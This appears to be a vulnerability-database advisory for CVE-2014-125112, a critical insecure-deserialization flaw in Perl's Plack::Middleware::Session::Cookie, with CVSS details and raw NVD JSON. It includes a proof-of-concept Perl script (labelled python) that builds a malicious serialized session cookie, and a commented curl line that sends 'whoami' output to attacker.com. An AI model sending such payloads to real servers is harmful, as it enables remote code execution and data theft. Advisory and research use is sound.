Security Vulnerability Report
中文
CVE-2014-125112 CVSS 9.8 CRITICAL

CVE-2014-125112

Published: 2026-03-26 03:16:00
Last Modified: 2026-05-06 14:50:25
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Plack::Middleware::Session::Cookie versions through 0.21 for Perl allows remote code execution. Plack::Middleware::Session::Cookie versions through 0.21 has a security vulnerability where it allows an attacker to execute arbitrary code on the server during deserialization of the cookie data, when there is no secret used to sign the cookie.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:miyagawa:plack\:\:middleware\:\:session\:\:cookie:*:*:*:*:*:perl:*:* - VULNERABLE
Plack::Middleware::Session::Cookie <= 0.21

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl use strict; use warnings; use Storable qw(freeze); use MIME::Base64; # PoC for CVE-2014-125112 # This script demonstrates how to create a malicious cookie # exploiting insecure deserialization in Plack::Middleware::Session::Cookie. # Define a class that executes code upon destruction (common gadget pattern) package Exploit::Payload; sub new { bless {}, shift } sub DESTROY { # In a real scenario, this would execute a shell command # system('id'); or `curl http://attacker.com/$(whoami)`; print "[+] Arbitrary code executed via deserialization!\n"; } package main; # Create the malicious object my $malicious_object = Exploit::Payload->new(); # Serialize the object using Storable my $serialized_data = freeze($malicious_object); # Encode it to Base64 (common format for cookies) my $cookie_payload = encode_base64($serialized_data, ''); print "Generated Malicious Cookie Payload:\n"; print "plack_session=$cookie_payload\n"; print "\nSend this cookie to the vulnerable application to trigger RCE.\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2014-125112", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-03-26T03:16:00.423", "lastModified": "2026-05-06T14:50:24.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plack::Middleware::Session::Cookie versions through 0.21 for Perl allows remote code execution.\n\nPlack::Middleware::Session::Cookie versions through 0.21 has a security vulnerability where it allows an attacker to execute arbitrary code on the server during deserialization of the cookie data, when there is no secret used to sign the cookie."}, {"lang": "es", "value": "Las versiones de Plack::Middleware::Session::Cookie hasta la 0.21 para Perl permiten la ejecución remota de código.\n\nLas versiones de Plack::Middleware::Session::Cookie hasta la 0.21 tienen una vulnerabilidad de seguridad que permite a un atacante ejecutar código arbitrario en el servidor durante la deserialización de los datos de la cookie, cuando no se utiliza ningún secreto para firmar la cookie."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-565"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:miyagawa:plack\\:\\:middleware\\:\\:session\\:\\:cookie:*:*:*:*:*:perl:*:*", "versionEndExcluding": "0.23", "matchCriteriaId": "B0973619-DAA2-4B3C-BF1E-5C1EDD60F202"}]}]}], "references": [{"url": "https://gist.github.com/miyagawa/2b8764af908a0dacd43d", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}, {"url": "https://metacpan.org/release/MIYAGAWA/Plack-Middleware-Session-0.23-TRIAL/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/26/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}